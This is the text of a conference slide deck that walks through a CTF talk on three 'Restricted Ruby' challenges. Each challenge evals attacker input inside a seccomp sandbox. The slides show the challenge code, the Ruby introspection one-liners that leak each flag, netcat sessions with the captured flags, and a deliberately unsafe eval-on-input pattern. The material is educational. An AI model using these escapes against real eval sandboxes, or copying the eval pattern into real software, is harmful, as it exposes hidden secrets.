Slide 1

Slide 1 text

Restricted Ruby a CTF story Rosa Gutiérrez github.com/rosa twitter.com/rosapolis

Slide 2

Slide 2 text

ex-Tuenti ex-BeBanjo Senior software engineer at Plex Rosa Gutiérrez

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

Restricted Ruby a CTF story Rosa Gutiérrez github.com /rosa twitter.com/rosapolis

Slide 5

Slide 5 text

Capture the flag crypto forensics reversing stego programming pwn web misc TWCTF{this_is_a_flag}

Slide 6

Slide 6 text

No content

Slide 7

Slide 7 text

Capture the flag crypto forensics reversing stego programming pwn web misc

Slide 8

Slide 8 text

servers to connect the flag goes here .7z file with the code

Slide 9

Slide 9 text

restricted_ruby/ ├── comment.rb ├── comment_flag.rb ├── local.rb ├── private.rb ├── restrict.rb └── run.sh ppc1.chal.ctf.westerns.tokyo 1111 (flag 1, “private”) ppc1.chal.ctf.westerns.tokyo 1112 (flag 2, “local”) ppc1.chal.ctf.westerns.tokyo 1113 (flag 3, “comment”)

Slide 10

Slide 10 text

#!/bin/bash cd $(dirname "$0") /usr/bin/ruby2.0 $1.rb 2> /dev/null | head --bytes=512 # Ubuntu 14.04(64bit) ruby2.0 package run.sh

Slide 11

Slide 11 text

restrict.rb (sandboxing) require "fiddle/import" module Libc extend Fiddle::Importer dlload "libc.so.6" extern "int alarm(int)" end module Seccomp extend Fiddle::Importer dlload "libseccomp.so.2" extern "void* seccomp_init(int)" extern "int seccomp_rule_add(void*, int, int, int)" extern "int seccomp_load(void*)" SCMP_ACT_KILL = 0x00000000 SCMP_ACT_TRAP = 0x00030000 SCMP_ACT_ERRNO_0 = 0x00050000 # ignore syscall SCMP_ACT_ALLOW = 0x7fff0000 end class Restrict def self.set_timeout Libc.alarm(10) end def self.seccomp ctx = Seccomp.seccomp_init(Seccomp::SCMP_ACT_ERRNO_0) ret = 0 # allow write ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 1, 0) # allow exit ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 60, 0) # allow close ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 3, 0) # allow brk ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 12, 0) # allow mprotect ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 10, 0) # allow mmap ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 9, 0) # allow munmap ret |= Seccomp::seccomp_rule_add(ctx, Seccomp::SCMP_ACT_ALLOW, 11, 0) ret |= Seccomp::seccomp_load(ctx) fail "Failed to setup syscall." unless ret == 0 end end require_relative 'restrict' Restrict.set_timeout ... Restrict.seccomp In each main file

Slide 12

Slide 12 text

# FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb

Slide 13

Slide 13 text

# FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb

Slide 14

Slide 14 text

class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input)

Slide 15

Slide 15 text

class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) p.send(:flag)

Slide 16

Slide 16 text

rosa$

Slide 17

Slide 17 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111

Slide 18

Slide 18 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 p.send(:flag)

Slide 19

Slide 19 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 p.send(:flag) private.rb:24:in `eval': private method `send' called for :Private (NoMethodError) from private.rb:24:in `eval' from private.rb:24:in `'

Slide 20

Slide 20 text

class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input)

Slide 21

Slide 21 text

class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def p.a;flag;end;p.a

Slide 22

Slide 22 text

rosa$

Slide 23

Slide 23 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111

Slide 24

Slide 24 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 def p.a;flag;end;p.a

Slide 25

Slide 25 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1111 def p.a;flag;end;p.a TWCTF{PrivatePreview}

Slide 26

Slide 26 text

# FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb

Slide 27

Slide 27 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 28

Slide 28 text

Binding, Kernel::binding def get_binding(param) binding end b = get_binding("hello") b.eval("param") #=> "hello"

Slide 29

Slide 29 text

rosa$

Slide 30

Slide 30 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

Slide 31

Slide 31 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 binding.eval('flag')

Slide 32

Slide 32 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 binding.eval('flag') local.rb:25:in `eval': undefined local variable or method `flag' for main:Object (NameError) from (eval):1:in `eval' from (eval):1:in `' from local.rb:25:in `eval' from local.rb:25:in `'

Slide 33

Slide 33 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 34

Slide 34 text

class Method alias kall call def call(*a) kall(a) puts binding.local_variables end end f=method(:get_flag);def f.call(*a);binding.local_variables;end Method

Slide 35

Slide 35 text

def hello puts "hello, world" end puts RubyVM::InstructionSequence.disasm(method(:hello)) == disasm: ============ 0000 trace 8 ( 1) 0002 trace 1 ( 2) 0004 putself 0005 putstring "hello, world" 0007 send :puts, 1, nil, 8, 0013 trace 16 ( 3) 0015 leave ( 2) RubyVM::InstructionSequence

Slide 36

Slide 36 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 37

Slide 37 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) RubyVM::InstructionSequence.disasm(method(:get_flag))

Slide 38

Slide 38 text

rosa$

Slide 39

Slide 39 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

Slide 40

Slide 40 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 RubyVM::InstructionSequence.disasm(method(:get_flag))

Slide 41

Slide 41 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 RubyVM::InstructionSequence.disasm(method(:get_flag)) == disasm: ============== local table (size: 3, argc: 1 [opts: 0, rest: -1, post: 0, block: -1] s1) [ 3] x [ 2] flag 0000 trace 8 ( 4) 0002 trace 1 ( 5) 0004 putstring "TWCTF{EnjoyC0untryLife}" 0006 setlocal_OP__WC__0 2 0008 trace 1 ( 6) 0010 getlocal_OP__WC__0 3

Slide 42

Slide 42 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 RubyVM::InstructionSequence.disasm(method(:get_flag)) == disasm: ============== local table (size: 3, argc: 1 [opts: 0, rest: -1, post: 0, block: -1] s1) [ 3] x [ 2] flag 0000 trace 8 ( 4) 0002 trace 1 ( 5) 0004 putstring "TWCTF{EnjoyC0untryLife}" 0006 setlocal_OP__WC__0 2 0008 trace 1 ( 6) 0010 getlocal_OP__WC__0 3

Slide 43

Slide 43 text

# FLAG is TWCTF{CENSORED} input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets fail unless input input.size > 24 && input = input[0, 24] STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0,60] STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb

Slide 44

Slide 44 text

input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) comment_flag.rb # FLAG is TWCTF{CENSORED}

Slide 45

Slide 45 text

/tmp/hello.rb puts "Hello, world!" # This is a comment RubyVM::InstructionSequence.compile_file("/tmp/hello.rb") #=> @/tmp/hello.rb> RubyVM::InstructionSequence.compile_file("/tmp/hello.rb").to_a #=> ["YARVInstructionSequence/SimpleDataFormat", 2, 0, 1, {:arg_size=>0, :local_size=>1, :stack_max=>2}, "", "/tmp/hello.rb", "/private/tmp/hello.rb", 1, :top, [], 0, [], [1, [:trace, 1], [:putself], [:putstring, "Hello, world!"], [:opt_send_simple, {:mid=>:puts, :flag=>264, :orig_argc=>1, :blockptr=>nil}], [:leave]]] RubyVM::InstructionSequence

Slide 46

Slide 46 text

Kernel#require_relative module Kernel alias require_with_print require_relative def require_relative(filename) puts File.read(filename + '.rb') require_with_print(filename) end end

Slide 47

Slide 47 text

a = 'hello world' count = ObjectSpace.each_object(String) { |x| p x } puts "Total count: #{count}" ... "initialize" "retval" "\"RubyVM::Env\"" "hello world" "$-a" "$-l" "$-p" "block in " ... Total count: 11383 ObjectSpace#each_object

Slide 48

Slide 48 text

input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) comment_flag.rb # FLAG is TWCTF{CENSORED}

Slide 49

Slide 49 text

input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] require_relative 'comment_flag' STDOUT.puts eval(input) comment_flag.rb # FLAG is TWCTF{CENSORED} ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}

Slide 50

Slide 50 text

rosa$

Slide 51

Slide 51 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113

Slide 52

Slide 52 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}

Slide 53

Slide 53 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} # FLAG is TWCTF{Transformation_t0_Artificial_Satelite} "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" 9548

Slide 54

Slide 54 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1113 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} # FLAG is TWCTF{Transformation_t0_Artificial_Satelite} "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" "\"# FLAG is TWCTF{Transformation_t0_Artificial_Satelite}\\n\"" 9548

Slide 55

Slide 55 text

# FLAG is TWCTF{CENSORED} input = STDIN.gets require_relative 'comment_flag' STDOUT.puts eval(input) class Private private public_methods.each do |method| eval "def #{method.to_s};end" end def flag return "TWCTF{CENSORED}" end end p = Private.new Private = nil input = STDIN.gets STDOUT.puts eval(input) def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets STDOUT.puts get_flag(eval(input)) private.rb local.rb comment.rb comment_flag.rb

Slide 56

Slide 56 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 57

Slide 57 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}

Slide 58

Slide 58 text

rosa$

Slide 59

Slide 59 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

Slide 60

Slide 60 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]}

Slide 61

Slide 61 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} "TWCTF{EnjoyC0untryLife}" 16735

Slide 62

Slide 62 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 ObjectSpace.each_object{|x| p x if x.to_s[/TWCTF\{.+\}/]} "TWCTF{EnjoyC0untryLife}" 16735

Slide 63

Slide 63 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 64

Slide 64 text

Kernel#set_trace_func class Test def test a = 1 end end p = proc do |event, file, line, id, binding, classname| printf "%8s %s:%-2d %10s %8s\n", event, file, line, id, classname end set_trace_func(p) t = Test.new t.test

Slide 65

Slide 65 text

Kernel#set_trace_func class Test def test a = 1 end end p = proc do |event, file, line, id, binding, classname| printf "%8s %s:%-2d %10s %8s\n", event, file, line, id, classname end set_trace_func(p) t = Test.new t.test c-return test.rb:10 set_trace_func Kernel line test.rb:12 c-call test.rb:12 new Class c-call test.rb:12 initialize BasicObject c-return test.rb:12 initialize BasicObject c-return test.rb:12 new Class line test.rb:13 call test.rb:2 test Test line test.rb:3 test Test return test.rb:4 test Test

Slide 66

Slide 66 text

Kernel#set_trace_func class Test def test a = 1 end end p = proc do |event, file, line, id, binding, classname| printf "%8s %s:%-2d %10s %8s\n", event, file, line, id, classname end set_trace_func(p) t = Test.new t.test

Slide 67

Slide 67 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 68

Slide 68 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) set_trace_func proc{|*a| p a[4].eval('flag') rescue nil}

Slide 69

Slide 69 text

rosa$

Slide 70

Slide 70 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

Slide 71

Slide 71 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 set_trace_func proc{|*a| p a[4].eval('flag') rescue nil}

Slide 72

Slide 72 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 set_trace_func proc{|*a| p a[4].eval('flag') rescue nil} nil nil "TWCTF{EnjoyC0untryLife}" "TWCTF{EnjoyC0untryLife}" #

Slide 73

Slide 73 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 set_trace_func proc{|*a| p a[4].eval('flag') rescue nil} nil nil "TWCTF{EnjoyC0untryLife}" "TWCTF{EnjoyC0untryLife}" #

Slide 74

Slide 74 text

TracePoint class Test def test a = 1 end end TracePoint.trace(:call, :return, :line) { |tp| p tp.inspect } t = Test.new t.test

Slide 75

Slide 75 text

TracePoint class Test def test a = 1 end end TracePoint.trace(:call, :return, :line) { |tp| p tp.inspect } t = Test.new t.test "#" "#" "#" "#" "#"

Slide 76

Slide 76 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input))

Slide 77

Slide 77 text

def get_flag(x) flag = "TWCTF{CENSORED}" x end input = STDIN.gets fail unless input input.size > 60 && input = input[0, 60] STDOUT.puts get_flag(eval(input)) TracePoint.trace(:return){|a|puts a.binding.eval"flag"}

Slide 78

Slide 78 text

rosa$

Slide 79

Slide 79 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112

Slide 80

Slide 80 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 TracePoint.trace(:return){|a|puts a.binding.eval"flag"}

Slide 81

Slide 81 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 TracePoint.trace(:return){|a|puts a.binding.eval"flag"} TWCTF{EnjoyC0untryLife} #

Slide 82

Slide 82 text

rosa$ nc ppc1.chal.ctf.westerns.tokyo 1112 TracePoint.trace(:return){|a|puts a.binding.eval"flag"} TWCTF{EnjoyC0untryLife} #

Slide 83

Slide 83 text

No content

Slide 84

Slide 84 text

Thanks! Rosa Gutiérrez github.com/rosa twitter.com/rosapolis